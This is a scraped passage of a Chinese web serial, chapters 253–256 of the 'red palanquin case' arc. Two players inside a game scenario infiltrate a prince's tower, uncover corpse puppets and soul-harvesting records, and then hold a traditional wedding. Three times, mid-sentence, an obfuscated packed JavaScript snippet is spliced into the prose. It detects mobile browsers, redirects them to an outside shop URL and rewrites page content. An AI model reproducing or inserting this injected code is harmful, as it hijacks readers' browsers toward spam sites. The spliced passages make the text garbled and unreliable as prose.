“你真要嫁给那个钦差?”柳青娘的声音幽幽飘过来,“他是宫里的人,宫里的人没一个好东西。你和他也没认识几天。” 初与序没什么表情地看着她。 “我会嫁给他。”她说,“我和他已经相识很多年了。” “至于槐花村的事,我会查清楚,你尽管放心。” 柳青娘又看了她好一会,最终没再说什么,红影轻轻一晃,像被风吹散的雾气,消失在夜色里。 253.红轿案 雪原管理员庄园。 炉火烧得正旺,地上铺着毛毯,初一和另外三个管理员盘腿坐在地毯上打扑克。 “对三。”女管理员慢悠悠抽出两张牌。 “对二!”另一边管理员笑嘻嘻地甩出两张牌。 “你他妈出这么大干嘛?”一个穿着睡衣,头发乱槽槽的男管理员差点跳起来,挥挥手,“过过过。” 他刚说完,门被推开,一位穿着制服的管理员抱着平板走了进来。他坐在一旁椅子上,脸色看起来有些复杂。 “过就过,我还有!”穿睡衣的管理员又甩出几张牌,“王炸!哈!”他转头看向走进来的管理员,“咋了你?被妄主骂了?” 管理员摇摇头,看向初一,欲言又止。 “过。”初一也随口说了句,抬起眼望过来,“什么消息?说。” 管理员抿了抿唇,才开口:“有个消息,对你来说不知道算好消息还是坏消息。” “嗯?” “初与序和冬逢初,他们俩……”管理员顿了顿,“要在副本里……结婚了。” 他话一落,地上四个人全部停下动作,八只眼睛齐刷刷转向管理员,难以置信。 初一的动作也停住,她眨了眨眼,像是没理解这句话意思:“……什么?” 管理员揉了揉眉心,重复道:“《红轿案》副本里,初与序被选定为新娘。系统任务要求她想办法避免被送入宫。假死和逃婚风险太高,所以她和冬逢初选择了成婚,就在副本里,走剧情。” 初一蹭地从地上站了起来,把手里扑克牌一扔,转身就往门外跑:“我下去看看。” 房内剩下几人面面相觑,一时没反应过来。之前王炸的管理员挠了挠头,担忧道:“我操……这,这不拦着她?她要是跑去副本里搞事,妄主知道了,不得连我们一起肘击啊?” “不必。”女管理员平静地将地上的牌捡起来,放回桌上,“她有分寸。” 第二日,天还没亮,初府上下已经忙碌起来。 灯笼重新挂了一遍,红绸从大门一直铺到内院,庭院里扫洒得一尘不染,连廊下那几盆腊梅枝头都被系上了红绸花。仆从们脚步匆匆,低声交谈时都带着喜庆。 闺房内,小玉和几个丫鬟已经早早侯着,桌上摆满了胭脂水粉,嫁衣也整齐地铺在榻上,红得耀眼。 初与序只穿了一身月白裙,外罩着蓝斗篷,头发松松挽着,插了一支简单的玉簪。黄昏时迎亲,现在时间还早,她用出去转悠的借口出了闺房,也没人强行挽留,小玉只让她早些回来。 初与序折向后院,晨雾未散,她走到围墙边,左右看看无人,便翻了上去。 冬逢初像之前一样等在墙外,他也换了身常服,深青色的圆领袍,头发用木簪束起,多了少年气。见她翻墙下来,他下意识伸出手,接应了一下。 两人对视一眼都有些想笑——今天就要成婚的新郎新娘,大早上却做贼一样偷摸出来查案。 “摘星阁?”冬逢初问。 “走。”初与序回。 这个时辰,宫门初开,各处宫人刚开始洒扫,巡逻的侍卫也刚换过班,正是守卫松懈的时候。两人一路有惊无险,绕到了东宫外围。 东宫占地广,殿宇森严。两人躲在假山石后,冬逢初抬起手,指向西北角一座楼阁。 那楼阁比周围建筑高,飞檐翘角,楼阁四周有矮墙环绕,几位府兵在墙外来回巡逻。 “那就是摘星阁。”冬逢初道,“我打听过,平日除了太子殿下和几个心腹,谁也不许靠近。守卫两班轮换,间隔不到一分钟,很难找到空当。” 初与序看着那些府兵:“你打算怎么调开他们?” 冬逢初从腰间解下钦差令牌,在掌心掂了掂:“硬调。” 他说完,拍了拍初与序的肩,示意她藏好,自己整了整衣袍,转了出去,走向摘星阁正门前的守卫。 “什么人?!”守卫立刻发现,厉声喝道。 冬逢初亮出令牌,严肃道:“本官冬逢初,奉旨查案。有紧急公务,需即刻面见太子殿下。” 守卫看清令牌,脸色一变,但没让开:“大人,殿下此刻尚未起身,且此处是东宫禁地,无殿下手谕,任何人不得擅入。” “本官奉的是圣旨。”冬逢初冷冰冰道,“红轿案事关重大,若有延误,尔等担待得起?立刻通传,若太子殿下怪罪,自有本官一力承担!” 守卫面面相觑,一时有些犹豫。为首的队正咬了咬牙,拱手道:“大人稍候,容卑职前去通禀。” “速去。”冬逢初道。 队正匆匆转身,往东宫主殿方向跑去。剩下几名守卫仍然拦在门前,但注意力已经不如刚才。 冬逢初站在门前,背对着初与序藏身的方向,右手垂下比了个手势。 初与序从假山后闪身而出,沿着矮墙阴影,绕到摘星阁侧后方。那里有一扇小窗,她蹲下身,抽出短刀,插入窗缝轻轻一撬。 窗栓松脱,她推开窗户,手在窗台上一撑,就翻了进去,反手关上窗户。 摘星阁内黑黝黝的,她蹲在原地适应了片刻,摸出火折子,吹亮。 这是一条向前的通道,墙壁由青砖建成,长着苔藓。地面铺着石板,但有几块颜色明显更深。初与序停下脚步,从旁边捡起一块石子,屈指一弹。 石子落在其中一块深色石板上,石板下沉了一寸,两侧墙壁立刻打开几道缝隙,几支短箭嗖嗖射出,钉在对面的墙上,箭头发黑,明显是淬了毒。 太子在地方设置了机关,红轿案的真相一定藏在这里。 初与序等箭射完,才踩着那些颜色正常的石板上向前。 绕过一道绘着狰狞兽首的屏风,前方豁然开朗。 那是一个宽阔的圆形石室,穹顶高悬,中央有一座石台。石台周围立着四根石柱,柱子上刻满符文,顶端各自镶嵌着一颗磷石,散发出幽绿的光芒。 而石台之上,整整齐齐躺着四个人。 她们穿着大红嫁衣,头戴凤冠,面容栩栩如生,半透明状。皮肤下可以看见脉络在缓缓蠕动,胸腔处空空荡荡,没有心跳起伏。 尸傀。 这太子在炼鬼兵啊。 这些尸傀脖子上都挂着小木牌,写着名字和日期。初与序走到最近的一具,木牌上写着“周氏女,天启七年腊月。 木牌的日期有序,每三年一个,今日就是下一个三年之期。 按照原剧情,第五个躺在这儿的人,就应该是初与序她自己。 初与序绕过那些尸傀,朝着旁边的一张小桌走去。那桌子上放着一个黑色木盒,像是装着什么东西。 离桌子还有三步远,她忽然停下,脚底踩到一块软绵绵的凹陷。 初与序立刻后撤,四面八方墙壁上猛地弹出数十道绳索,绳索末端连着铁钩,狠狠扎向她刚才站立的位置! 铁钩撞在一起,自动闭合钩爪,火星四溅。 初与序刚站稳身形,还没喘口气,侧面一道破空声飞速而来—— 她侧过头去,一支弩箭擦着她的脸颊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167368|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞过,带起一阵凉风,钉入身后的砖墙,箭尾嗡嗡震动。 阴影里走出一个人。初与序抬眸看去,黑衣蒙面,身形瘦高,看样子正是之前在巷子里跟踪她和冬逢初的那个人。 “终于找到你了。”黑衣人道,“胆敢闯入太子殿下的地盘。” “你家太子殿下炼鬼兵?”初与序冷冷道,“倒也是厉害。” 黑衣人轻笑一声:“你们也是好算计,那钦差在外面拖出守卫,你就溜进来?可惜,进了摘星阁,就别想活着出去。” 他话音未落,人已经动了。速度极快,像一道闪电直直扑过来,握着匕首刺向她! 初与序拔刀格挡,虎口被震得发麻。她向后滑开,黑衣人紧追不舍,将她的所有退路都封死。 这空间虽然大,但有石柱和尸傀拦着,如果再退,就要撞上那些尸体了。 初与序忽然一个矮身,脚下一滑,从黑衣人刀光下滑过,同时脚下发力,向后而去。后面是一个凹下去的沙坑,此刻退到沙坑边,她一个后空翻,落入坑中。 黑衣人见状,也纵身跃下。 忽然,坑底传来一声闷响,四面墙壁打开几个缺口,大量的黄沙从缺口内疯狂涌入!流沙眨眼睛就淹到了膝盖,并且还在飞速上涨。 黑衣人脸色大变,也没料到这里竟然还有自己殿下的机关。他想往上爬,但越挣扎,陷得越快。他猛地转头看向初与序,却发现初与序根本没落到那沙坑内,而是踩在了墙角边一处凸起。她伸出胳膊,攀住墙面。 “你——”黑衣人刚吐出一个儿,沙子就淹到了他的胸口。 初与序用力一撑,向上跃去。沙子在她脚下汹涌上涨,快要碰到她的脚踝。她另一只手扒住坑沿,整个人翻了上去。随后蹲下身,回头看去。 沙坑里,黑衣人只剩下一个脑袋还露在外面。嘴巴张着想喊些什么,但沙子立刻灌了进去。 “能被自己主子的陷阱弄死,也是人才。”初与序嫌弃地嘲讽了一句,头也不回离开。 黑衣人很快被彻底吞没,沙面恢复了平静,只留下一个下陷的漩涡。 初与序走到桌边,拿起了那个木盒,揣入怀中,从原路返回,翻出了窗户,朝着冬逢初的方向也打了个手势。 冬逢初余光看见,对守卫挥了挥手:“……既如此,本官稍后再来。” 守卫们连连点头,送走了这尊大佛。 冬逢初绕了个弯,朝宫城外围走去。初与序走了另一条路,等拐到一条无人的夹道,两个人才停下脚步。 “怎么样?受伤了吗?”冬逢初转过头,紧张地问。 初与序摇摇头,拿出那个木盒,递给他。冬逢初接过,打开。 盒子里是厚厚一叠信纸和一本线装册子,他先拿起最上面那封信。 信纸是洒金笺,字迹瘦劲凌厉: 「景琰顿首,再拜方师足下:前承所教“阴阳调和”之法,已悉。然“阳煞”易得,“阴煞”难求。近日所炼“青娘傀”,虽具雏形,然怨气驳杂,难以控制。细究其源,盖因“阴煞”须含恨暴毙、未经净仪之女魂。民间“冥婚”陋习,活人生殉,恰可成此浊煞。然此类女子,往往出身微贱,魂魄不纯。若欲得精纯“阴煞”,恐需……」 写到这里,笔锋一转,变得潦草: 「另,今岁“红轿”之选已定,初氏女,其母族血脉特异,或可为“阳煞”极品引子。望方师速备法坛,待其入宫,即刻取用。机不可失。景琰再拜。」 落款是“萧景琰”,日期是本月初三。 254.红轿案 冬逢初脸色沉了下去,又拿起那本册子。他翻开第一页,上面写着几个大字: 《阴阳煞采集录》。 「天启七年,腊月。周氏女,吏部侍郎嫡女,年十七。以“离魂草胭脂”诱入假死,于摘星阁‘引魂阵’中取其“阳煞”。魂魄精纯,然初炼不稳,三月方成“周娘傀”。」 「天启十年,腊月。吴氏女,太常寺卿侄女,年十六。同法取之,然其心志不坚,魂魄有隙,炼成“吴娘傀”后,时有躁动,需以符咒镇压。」 一条条记录,触目惊心,记载得清清楚楚。 冬逢初翻到最近几页,停住。 「癸酉年冬,槐花村溜氏女,名青娘,年十六。暴毙于家中,怨气深重。其家人行“冥婚”,绑书生李璟生殉。仪式未全,然“阴煞”已成,可做“青娘傀”。此煞浑浊,怨念极深,不易控制,须与“阳煞”调和,方可用于军阵。」 总的来说,这位太子殿下在东宫摘星阁内,以离魂草胭脂诱杀新娘,利用婚礼仪式催化出所谓的“阳煞”,炼制可控制的鬼兵。同时,他派人搜集民间暴毙的未婚女子,利用“冥婚”陋习,在村庄祠堂以活人陪葬,激化死者怨气,生成野生怨灵,便是“阴煞”,比如柳青娘。 采集“阳煞”与“阴煞”,阴阳调和,方能炼成最强的鬼兵军团。 所以红轿案选新娘,不光看家世,更看中生辰八字,甚至血脉。初家的女子血脉特殊,适合炼制“至阴至纯之魄”,这才是为什么要选择初与序。 “柳青娘的暴毙恐怕也不是意外,是太子的人动了手脚,让她在特定时间死亡,再引导槐花村举办冥婚,激化怨气,炼成‘青娘傀’。”冬逢初说到这里,忽然停住。 初与序抬眼看他:“怎么?” “我们打断了槐花村的冥婚,柳青娘的冤魂没有完全被炼化,还保留着神智。”冬逢初道,“她现在算不算脱离了太子的控制?” “有可能。”初与序想了想,“但她的尸身还在槐花村,如果太子那边发现‘阴煞’采集失败,会不会重新找一个民间女子?” 两人对视一眼,意识到确实有这个可能。 冬逢初将盒子收起来:“这东西得带出去。” “现在去哪?”初与序问。 冬逢初看了一眼窗外天色:“先回府,婚礼在黄昏,不能再耽搁了。这些证据我明早进宫会递上去。” 两人没再多说,分头离开了这里。初与序悄悄回到初府后墙,翻墙进去时,院子里已经忙得热火朝天。小玉扑过来,也顾不上多问,急急忙忙拉着她就往屋里走。 “我的小姐!这都什么时辰了!”她一边念叨一边和其他丫鬟们备水,“快,先沐浴!” 初与序被推进屏风后,热水早就备好了,撒了花瓣。她褪了外衣,进了浴池,温热的水包裹上来,此时才觉得有些疲惫。 一大早起来,翻墙,潜入摘星阁,破解机关,对付烦死人的黑衣人,再赶回来,翻墙,一番折腾下来,确实耗神。 她干脆闭上眼假寐,头发也被解开,被丫鬟们用香膏细细揉搓。水汽氤氲,熏得人有些昏沉,困意涌上来。 沐浴罢,换上婚服的中层衣服,又被按在妆台前。铜镜里照出她素净的脸,带着沐浴后的红润。 “小姐,您要是困,就先闭着眼歇会儿。”小玉见她眼皮打架,叹了口气,“奴婢们手脚轻些,绝不吵着您。” 还有这好事?初与序当着闭上眼,任由她们几个给自己上妆摆弄。 不知过了多久,身上被披上了一层又一层柔软的衣物,腰带被束紧,环佩挂在腰间。最后,一件宽大的外袍被小心翼翼披上她的肩头,料子光滑如水。 小玉轻轻拍了拍她的肩膀,激动道:“小姐!快睁开眼看看!” 初与序缓缓抬起眼,看向面前的铜镜。 她这一动,头发上簪着的步摇和珠钗便簌簌地响,细碎的金玉之声抵达了房内其余丫鬟耳中,她们纷纷抬头,这一看,就看得忘记了呼吸。 镜中人端坐着,烛火柔柔地笼着她,她皮肤白,上了胭脂,透出极淡的绯红,唇上朱色像冻雪里的红梅萼。发髻绾着,几缕青丝松垂耳畔,插着金钗玉簪。眉眼本是淡的,像远山含烟,不笑的时候,也如含着三分欲语还休的情愫。 平日里不施脂粉,她的美是清冷的,像冬日的雪光。此刻映在镜中,被这一身炽热的红一衬,冷意化开了,显出从未有过的柔美。 像是初春时分,隔着未散的晨雾遥遥望见一株玉兰。看不真切,却觉柔到了骨子里。 初与序看着自己,也有些愣。她抬手轻轻碰了碰流速,那金玉之声便又响拉起来,叮叮咚咚,清脆悦耳。 “小姐……”小玉眼圈红红的,“真好看,夫人若在,定是欢喜极了……” 初与序没说话,看着镜中盛装华服的身影。恍惚间,仿佛看见一个温柔的女子站在她身后,轻轻拂过她肩头的刺绣,眼里含着泪,嘴角却带着笑。 她眨了眨眼,那幻影便消散了。 接近黄昏,天边的云彩烧得正烈。初府内外早已红绸高挂,灯笼齐明。鼓乐声隐隐约约飘来,渐渐得清晰起来,越来越近,在府门外稳稳停下。 门外街道上,一顶八抬大红花轿静静停着,轿身绣着鸾凤牡丹,轿顶四角垂下的红绸迎风轻扬,轿前挂着的两盏大红灯笼已经点亮,照得轿子周围暖融融的。 花轿前方,是全套钦差半副仪仗,回避牌、肃静牌高擎。仪仗队旁,鼓乐班子正卖力吹打,唢呐声嘹亮,锣鼓点欢快。 仪仗最前方,一匹骏马上端坐着一个人。 冬逢初将长发用红色发带高高束起,露出清晰的下颌线。他穿着一身崭新的绯红喜服,衣缘带着深蓝色的边,外罩一件红绸披风。发尾扫过衣襟,那朱色便活了,像烈酒烫喉的灼,又像燎原火初起的艳,恣意泼洒在他挺直的脊背。 微风掀起他额前碎发,露出那双眼,眼尾微微下垂,瞳仁在雪光映照下透亮,含着未褪的少年气,目光直直烙进人心底去。 像是寒冬尽头,远山上将熄未熄的一簇篝火。望不正切,却已觉灼烧扑面而来。 他抿着唇,紧张地看着初府紧闭的朱红大门。 府内前厅,初与序静静站着。小玉替她最后整理了一下嫁衣的衣摆,哽咽道:“小姐要好好的啊……” 说着,她拿起那方云锦红盖头,珍重地未初与序覆盖在头上。 眼前的一切被一片红色隐隐遮蔽,但还是能模糊看见前方的一切。 “吉时已至,新人出阁——!” 清脆的鼓声伴着司仪的高喊,在灯火通明的庭院里回荡。 初与序垂着眼,由一旁的喜娘搀扶着缓缓走出府门,走向那顶花轿。冬逢初回过头,只看见轿帘被掀开,穿着大红喜服的新娘坐了进去。 轿子里铺着软垫,轿帘落下,隔绝了外面的喧闹。 “贵人升轿——!” 最前方,一对开道锣“哐!哐!哐!”鸣响了十三声,声音洪亮悠长。紧接着,八名轿夫齐声呼喝,稳稳抬起花轿。 轿身微微一顿,随即平稳起行。 队伍缓缓移动,八抬大轿在前,后面跟着一眼望不到头的送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167369|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫁队伍。这真是“十里红妆”,前头抬着崭新的婚床,后头寿材都备下。聘礼足足有近百台,用红绸覆盖着,浩浩荡荡,绵延不绝。 队伍所经之处人山人海,百姓们挤在街道两侧,踮着脚伸长脖子,争相观看这难得一见的盛景。家家户户门口都挂起了红灯笼。更有甚者在路边摆了香案,为这对新人祈福添喜。 “我的老天爷……这排场!不愧是初侍郎家的千金出嫁!乖乖,新郎官就是那位冬大人吧?也是一表人才!” “聘礼!快数数多少台?将近一百台了吧!怕不是把半个身家都掏出来了!” “后面棺材也抬出来了?哎呦,真真是十里红妆啊……这阵仗多少年没见过了!” 初与序坐在微微晃动的轿子里,抬起了眼。透过红盖头和轿帘的缝隙,看向前方马上的人。 冬逢初骑在马上,身姿挺拔。绯红的喜服套在身上,肩宽腰窄,腿长得过分,随意搭在马镫上。一阵风过,他束发的红绸带和喜服的衣角轻轻吹起,在暮色中飘扬。 他似有所感,微微侧头朝着花轿望了一眼。 初与序知道,隔着盖头他根本看不见自己的脸,可当他那双含情的眼睛望过来时,她还是下意识垂了下眼,耳根红了。 “我感觉你笑了。”冬逢初带着笑意的声音从耳夹内传来,“轿子里坐得怎么样?颠不颠?” 初与序微微一笑:“挺好的。可我想骑你的马。” 冬逢初没忍住,也低笑一声,笑声里满是纵容。 花轿外,鼓声喧天,人群沸腾,长长的送嫁队伍像一条红色河流,缓缓穿过暮色四合的京城街道,朝着冬府的方向行去。 行至冬府门前,府门上下张灯结彩,大红地毯从门口一直铺到府内,两侧的灯笼将整条路映得一片暖红。 轿落,全服太太端着一只木斗,见新人到,立刻上前,抓起斗中谷物朝着前方抛撒,声音洪亮地念道: “撒东方,青帝护娘——!” “撒西方,白帝护航——!” “撒南方,赤帝送子——!” “撒北方,黑帝赐福——!” “撒中央,黄帝报平安——!五方神君齐护佑,新人入门百事吉,夫妻恩爱百年长——!” 谷豆铜钱噼里啪啦落在红毯上,引得围观的孩童一阵哄抢。 “新人入府——!” 冬逢初下马,快步走到轿前。他伸出手,骨节分明的手指轻轻搭在轿帘边缘,缓缓将帘子掀开。 轿内,初与序感觉光线透了进来。她顿了顿,将手轻轻抬起,搭在那只温热的手掌上。 冬逢初的手微微一紧,随即稳稳地将她搀扶出来。 “新人跨火盆,红红火火——!除旧迎新,家宅安宁——!” 一只烧着炭火的铜盆摆在红毯正中,冬逢初牵着她的手,引着她稳稳地跨了过去。裙摆拂过火焰上方,带起一丝暖风。 “新人跨马鞍,平平安安——!步步安稳,一世长安——!” 紧接着是一只马鞍,横放在红毯上。两人再次携手跨过。 司仪转向冬逢初,递来一段长长的红色绸带:“请新人执‘同心结’,从此夫妻一体,同心同德——!” 冬逢初接过红绸,自己握住一端,将另一端轻轻放入初与序手中。他转过身,面向府门,手里牵着红绸微微用力。初与序感受到力道,便迈开脚步跟在他身后。 “新人执红绸,入门庭——!” 两人一前一后,手里连着那根鲜红的同心结,在两侧宾客的祝福中一步步走向张灯结彩的喜堂。 255.红轿案 喜堂内,正中摆着一张天地桌,桌上正中立着一对粗大的龙凤喜烛,烛火跳跃。桌上放着一只装满粮食的斗,里面插着一杆秤、一面铜镜、一副弓箭,斗旁还摆着一排排子孙馍馍。 上首位置摆着两把太师椅,左边坐着初明远,他已经换了一身吉服,神色复杂地看着两人。右边那把椅子空着,在椅背上搭了一件外袍,是为冬逢初去世的父母设了虚位。 冬逢初和初与序缓步踏入喜堂,堂内原本还有交谈声,在他们踏入时安静下来,乐声也转为庄重舒缓的曲调。 宾客们分立两侧,屏息注视。 两人行至天地桌前,男左女右站定,面向门外天地方向。 司仪深吸一口气,拖长调子,高唱: “一拜天地——感念天地造化,赐此良缘——!” 冬逢初和初与序同时转身,朝着门外那片被灯笼映红的夜空,缓缓弯腰,跪拜下去。 “二拜高堂——叩谢父母养育,恩重如山——!” 两人起身,转向堂上。初明远坐直身体,微微点头。冬逢初望着那把空着的椅子,眼神黯了一下,随即敛去,与初与序一同再次深深跪拜下去。 “夫妻对拜——夫妻同心,白首不离——!” 冬逢初和初与序都在原地停了半秒。 然后,缓缓转身,相对而立。 冬逢初抬眼看着对面的初与序,心脏在胸腔里跳得又急又重,握着同心结的手掌心已出一层薄汗,紧张的微微颤抖。 他深吸一口气,弯下腰去。 初与序也同时俯身。 两人对着彼此,深深一揖。 此一拜,礼成。从此夫妻之名分定,命运相连,祸福与共。 “礼成——!送入洞房——!” 话落,乐声转为欢快热烈的调子,宾客们的祝贺声涌来,丫鬟仆人们笑着上前,簇拥着新人。 冬逢初直起身,牵着同心结转身,引着初与序朝着喜堂后方的洞房走去。 新房内,红烛高烧,四处贴着大红喜字,桌椅箱笼都系着红绸。宽大的婚床铺着红色鸳鸯被子。 初与序被引至床边坐下,身侧床铺也微微下陷,冬逢初坐到她身侧。有侍女上前,将一杆系着红绸的秤杆递到冬逢初手里。 冬逢初接过,顿了顿,才慢慢抬起手,将秤杆尖端轻轻探向初与序的红盖头边缘。 他稳下颤抖的手,手腕用力,向上挑起。 红云般的盖头被一寸寸掀开,先是柔软的唇,挺秀的鼻梁,最后是映着烛光的眼睛。 盖头完全滑落,叠在初与序肩头。 烛光晃荡,她微微抬着眼,看着冬逢初。那双眼睛被这满室暖红浸染,漾开清亮的水光。明明还是凉的,像月色浸过的溪流,却淌进了冬逢初眼里,再漫进他心口。 冬逢初看得有些呆,直到侍女再次上前,才回过神来。 侍女手里捧着托盘,上面放着两只用红线系在一起的匏瓜瓢,瓢里盛着酒液。 两个人各取一杯。 冬逢初朝着初与序挪近了些,方便她动作。两人手臂弯曲,交缠在一起。距离很近,能闻到彼此身上淡淡的花香,混着酒气。 他们同时举杯,将瓢中酒一饮而尽。 酒是烈酒,入口辛辣,顺着喉咙一路烧下去。匏瓜瓢本身带着清苦的味道,混在酒里,滋味独特。 饮罢,放下匏瓜瓢,早等候在一边的全服嬷嬷笑着上前,拿着一把金剪刀。她先走到冬逢初身侧,小心地剪下他一小缕发丝,又转向初与序,同样剪下一缕,两缕头发并在一起,用一根细红线缠绕着,然后装入一只锦囊中,放到初与序手上。 最后,全服嬷嬷抓出一把红枣、花生、桂圆等,朝婚床上抛撒: “撒帐东,帘幕深围烛影红,佳气郁葱长不散,画堂日日是春风——!” “撒帐西,锦带流苏四角垂,揭开便见姮娥面,输却仙郎捉带枝——!” “撒帐南,好合情怀乐且耽,凉月好风庭户爽,双双绣带佩宜男——!” “撒帐北,津津一点眉间色,芙蓉帐暖度春宵,月娥苦邀蟾宫客——!” 唱诵声里,全服嬷嬷和侍女们笑着退出房去。 冬逢初站起身,理了理身上的喜服,对初与序低声道:“阿序,我需要去前厅宴席,你先休息,桌上准备了点心。” 初与序乖乖点头:“好。” 冬逢初看了她一眼,似乎有些不舍,但门外已经传来叩门声催促,他只好拉开了房门。 前院宴厅,灯火通明,人声鼎沸。见新郎官出来,喧闹声更响了几分。冬逢初走到主位前,有仆人递上倒满的酒杯。 他端起酒杯,面对满堂宾客,朗声道:“诸位长辈、同僚、亲友。今日冬某大喜,承蒙各位拨冗莅临,蓬荜生辉。感激不尽。在此,冬某敬诸位一杯,聊表谢意,望诸位尽兴。” 他说完,举杯示意,随即仰头,将杯中酒一饮而尽。 “好——!” “冬大人爽快!” 宾客们轰然叫好,纷纷举杯回敬,气氛瞬间热烈起来。 宴席正式开始,丝竹声起,踌躇交错。冬逢初略略应酬了几句,便朝着酒杯朝初明远所在的主桌走去。 初明远正与同桌的几位官员交谈,见冬逢初过来,便停下了话头,抬眼看他。 冬逢初在他面前站定,执晚辈礼,双手举杯:“岳父大人,小婿敬您一杯,感谢您将序儿托付于我。” 初明远看着他,端起自己酒杯,缓缓道:“冬大人,如今,该改口叫你一声贤婿了。” 冬逢初神色不变:“是,岳父大人。” 初明远沉默了一会,才道:“序儿她话不多,心思却重,有时看着懂事,实则只是将事都闷在心里。往后,你多担待些。” “小婿明白。”冬逢初答得毫不犹豫,“定会珍之重之,不负所托。” 初明远点了点头:“今日是你大喜之日,不必多饮,心意到了便可。” 冬逢初应下,将杯中酒浅浅沾唇,便放下了。跟在他身后的下属上前,替他饮尽。 初明远也喝了一口,摆了摆手:“去吧,不必在此陪我这老头子,莫冷落了其他宾客。” “那小婿告退。”冬逢初又行了一礼,才转身离开。 宴席持续了一个多时辰,直到接近尾声,宾客们酒足饭饱,开始三三两两告辞,冬逢初又送了几位重要的客人,才得以脱身。往回走时,遇到几个平日相熟的同僚,又免不了被拉住调侃几句。 “冬兄!恭喜恭喜啊!新娘子还在房里等着呢!快些回去吧!” “是啊,初小姐可是京城有名的才女,你小子真是走了什么运道!” 冬逢初被他们说得耳根微热,笑着拱手,快步朝着新房走去。走到门前,顿了顿,才抬手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167370|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻推开门。 房内红烛亮着,初与序坐在梳妆台前,换了一身轻便的常服。头发也散开,披在肩后,用蓝色的发带束着。 听到开门声,她抬眸看过来。 冬逢初反手带上门。 初与序站起身走到他身边,他身上还带着酒气,初与序伸手替他解下外衣,挂到一旁的衣架上:“喝酒了?” 冬逢初点点头:“嗯。酒味重么?我再去外面散散酒味。” 说着就要转身,被初与序伸手拦住:“不必,味道不大。外面冷。” 冬逢初便停了动作,乖乖站在原地,任由她帮忙解开婚服中层带子。他脸颊泛着淡淡的红,眼神有些迷蒙,那双温和含笑的眼里此刻盛满了水光,湿漉漉的。 “喝醉了?”初与序问。她知道冬逢初来永冬之城后就没沾过酒,今天这种场合肯定喝了些,想来是有点醉了。 她牵过她的手把他带到床边,然后踮起脚,伸手去解他束发的红色发带。 发带解开,冬逢初那一头浅棕色的长发便散落下来,披在肩头,有几缕滑过初与序的手臂,带着微凉。 初与序刚要收回手,整个人便被一股力道拉了过去,跌入一个温热的怀抱里。 冬逢初紧紧地抱着她,手臂环在她腰间,下巴抵着她肩膀。周身被他的气息包裹,那点酒气反而闻不到,取而代之的是他身上熟悉的勿忘我花香。能听到彼此胸腔里剧烈的心跳声,分不清是谁的。 冬逢初将脸埋进初与序脖颈处,温热的呼吸喷洒在皮肤上。然后他偏过头,从她颈侧的伤疤开始,一点点向上,落下轻柔的吻,一直吻到她的下颌,唇角,最后,覆上她的唇。 初与序仰着脸,回应了这个吻。唇齿交缠,气息交融。 片刻后,她稍稍移开唇,气息有些不稳:“你……不困么?” 反正她真是要困死了。 冬逢初低低笑了一声,松开了抱着她的手:“上床睡觉吧,明天我还要去宫里汇报红轿案的进度,得带你一起进宫。” 初与序转身走到床边坐下,一抬头,就看见冬逢初从柜子里抱出一床被褥和床单,然后走回床边,将床单被褥铺在地板上,看样子是打算打地铺。 初与序看着他动作,没说话。 等他铺好,她才开口:“冬逢初,你打算把自己冻成雪人给我玩吗?” 冬逢初站在原地,看着她张张嘴想解释什么,又不知道怎么说,最后只是有些无措地挠了挠头:“当雪人也不是不行……” 初与序朝他招招手:“过来吧。” 冬逢初老老实实走过去,在窗沿边坐下。 手腕被初与序拉住,往床里带了带。冬逢初侧头吹灭蜡烛,有些僵硬地躺下,直挺挺躺在床一侧,一动不动,脖颈到耳根倒是红了一大片。 “……” 初与序无奈地叹了口气,她自己其实并不太在意这些,他们早就是情侣,也相信冬逢初的人品。况且她是真的困了。 她侧过身,伸手搂住了冬逢初,将头靠在了他的肩膀上。 “晚安。”她含糊说了一句,闭上眼。 冬逢初身体更僵了,过了好一会儿才缓过神,慢慢放松过来。 黑暗中,他缓缓抬起另一只手,小心翼翼地搭在初与序搂着他的那只胳膊上。侧过头温柔地看着身边的爱人,过了许久,才轻声道: “……晚安。” 256.红轿案 天蒙蒙亮时分,初与序睡得迷糊,习惯性翻了个身,整个人往床沿外滚去。 眼看就要掉下去,腰间却忽然一紧,被一只有力的胳膊及时捞住,往回一带。 她趴在床沿边,撑起上半身抬起头看去。 冬逢初正弯着腰站在床边,笑盈盈望着她。他长发未束,披散在肩头,松松垮垮穿了条长裤,上身还没来得及穿好,只套了一半,露出大片皮肤。他不算壮,是那种清瘦流畅的薄肌线条,肤色白皙。肩胛骨清晰,腰腹紧窄。 初与序大早上醒来,冷不丁就看到这一幕,瞬间清醒了,起床气也没了。 